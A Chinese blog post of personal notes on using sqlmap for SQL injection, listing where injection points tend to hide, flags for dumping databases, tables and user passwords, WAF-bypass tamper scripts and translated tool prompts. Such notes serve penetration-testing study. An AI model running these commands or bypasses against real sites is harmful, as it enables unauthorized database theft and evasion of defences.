数据库值之sqlnamp的使用1

sqlmap自动化注入点

Sqlmap 对于注入点而言

**

1、在完善身份信息填写后,发起post 请求,插入信息的时候,后台代码一般都会做防注入的检查 ,此处一般不容易注入,

2、 当发post 请求,更新刚才注册的信息时,一般这个post 一般不会做放注入检查,或者防护相对较弱。

3、在一个web中,最不常用的功能往往更新的较慢,那么可能存在注入点

**

sqlmap  -u   只针对get 请求
        -r   万能请求方法 主要进行post测试
        
        目标可以是 url     http://127.0.0.1/sqls/index.php?id=1  也可以是url请求包文件 1.txt
        
        --level=5   代表更多的测试方法 
    
        --risk    //风险等级,共有四个等级,1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的sql注入测试
    
         --batch 代表使用默认配置 不用我们手动输入y/n
        
        -dbms=mysql/oracle/mssql 指定数据库(这样既可以节省时间,在某些时候也可以绕过waf)
        
         –threads 默认10    #采用多线程 20
        
         -v 0-6   显示信息,一般不加,默认是0
        
         -batch-smart  自动寻找注入点检测
        
        -p  只针对一个交互的点进行注入测试
        
         -m 批量测试扫描  2.txt
#标准测试是否有注入点:  sqlmap.py -r id1.txt --level=5  --risk=3  --batch  -threads=20   -dbms=mysql     -batch-smart
      
    
        --–banner  获取数据库信息


         --dbs 查看所有的数据库()


        --password 获取数据库用户密码信息
        
        --current-user 查看数据库当前用户
        
        判断当前用户是否有管理权限(--is-dba)
        
        列出数据库管理员角色(--roles)
        
#    sqlmap.py -r id1.txt  --dbs  -current-user  --is-dba   --roles --bat


        查看当前的数据库(--current-db)
      
        爆出指定数据库中的所有的表(   -D 库名  --tables  )

        爆出指定数据库指定表中的所有的列(--columns)
        -D 库名 -T 表名 --columns
        
       
        出指定数据库指定表指定列下的数据(--dump)
         -D security -T users -C username --dump
         
        -D //指定数据库名称
        -T //指定表名称
        -C //指定字段名称
        
        爆出该网站数据库中的所有数据(--dump-all)  
        -D security --dump-all   # 爆出数据库security中的所有数据
        
        
           sqlmap.py -r  zhanghu.txt --level=5  --risk=3  --batch  -o  -threads=100   -dbms=mysql




        导出表的所有数据 
       --dunp-all

        查看当前数据库的 所有的库
      sqlmap.py -r  id1.txt    --batch -D aa --tables


      sqlmap.py -r  id1.txt    --batch -D aa   -T aa   --dump  # 导出表

 
      sqlmap.py -r  id1.txt    --batch -D aa   -T aa   --start 1 --stop 10 --dump    #导出该表的指定行数

        
        --identify-waf可以检查网站是否有安全防护
        
        –proxy http://127.0.0.1:1080  使用代理扫描
        
        
  

     
apostrophemask.py 用UTF-8全角字符替换单引号字符

apostrophenullencode.py 用非法双字节unicode字符替换单引号字符

appendnullbyte.py 在payload末尾添加空字符编码

base64encode.py 对给定的payload全部字符使用Base64编码

between.py 分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”

bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”

chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)

charencode.py 对给定的payload全部字符使用URL编码(不处理已经编码的字符)

charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)

concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例

equaltolike.py 用“LIKE”运算符替换全部等于号“=”

greatest.py 用“GREATEST”函数替换大于号“>”

halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释

ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例

lowercase.py 用小写值替换每个关键字字符

modsecurityversioned.py 用注释包围完整的查询

modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询

multiplespaces.py 在SQL关键字周围添加多个空格

nonrecursivereplacement.py 用representations替换预定义SQL关键字,适用于过滤器

overlongutf8.py 转换给定的payload当中的所有字符

percentage.py 在每个字符之前添加一个百分号

randomcase.py 随机转换每个关键字字符的大小写

randomcomments.py 向SQL关键字中插入随机注释

securesphere.py 添加经过特殊构造的字符串

sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs

space2comment.py 用“/**/”替换空格符

space2dash.py 用破折号注释符“–”其次是一个随机字符串和一个换行符替换空格符

space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符

space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符

space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符

space2mssqlhash.py 用磅注释符“#”其次是一个换行符替换空格符

space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符

space2mysqldash.py 用破折号注释符“–”其次是一个换行符替换空格符

space2plus.py 用加号“+”替换空格符

space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符

unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT”

unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符

varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAF

versionedkeywords.py 用MySQL注释包围每个非函数关键字

versionedmorekeywords.py 用MySQL注释包围每个关键字

xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF
布尔
    Type: boolean-based blind
堆叠
    Type: stacked queries
时间
    Type: time-based blind
联合
    Type: UNION query


heuristics detected that the target is protected by some kind of WAF/IPS
启发式方法检测到目标受到某种WAF/IPS的保护。

POST parameter 'CSRF_TOKEN' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] Y
POST参数'CSRF_TOKEN'似乎持有反CSRF令牌。你想让sqlmap在进一步的请求中自动更新它吗?
Cookie parameter 'CSRF_TOKEN' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] Y
Cookie参数'CSRF_TOKEN'似乎持有反CSRF令牌。你想让sqlmap在进一步的请求中自动更新它吗?

you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
你提供了一个HTTP Cookie头的值,而目标URL在HTTP Set-Cookie头中提供了自己的Cookie,并与你的Cookie相交。你想在进一步的请求中合并它们吗?[Y/n] n

 [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison'
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit]
 [警告]目标URL内容不稳定(即内容不同)。 sqlmap将基于序列匹配器进行页面比较。如果没有检测到动态的或可注入的参数,或者在有垃圾结果的情况下,请参考用户手册中的 "页面比较 "段落。
你想怎么做?[(C)ontinue/(s)tring/(r)egex/(q)uit]。


it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n]
如果没有发现至少一种其他(潜在的)技术,建议只进行基本的UNION测试。你想减少请求的数量吗?[Y/n]


it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
它看起来像后端DBMS是 "MySQL"。你想跳过专门针对其他DBMS的测试有效载荷吗?[Y/n] Y

injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n]
在NULL值的情况下,注射不可被利用。你想用一个随机的整数值来尝试选项'--union-char'吗?[Y/n]
posted @ 2022-07-14 09:21  mmszxc  阅读(847)  评论(0)    收藏  举报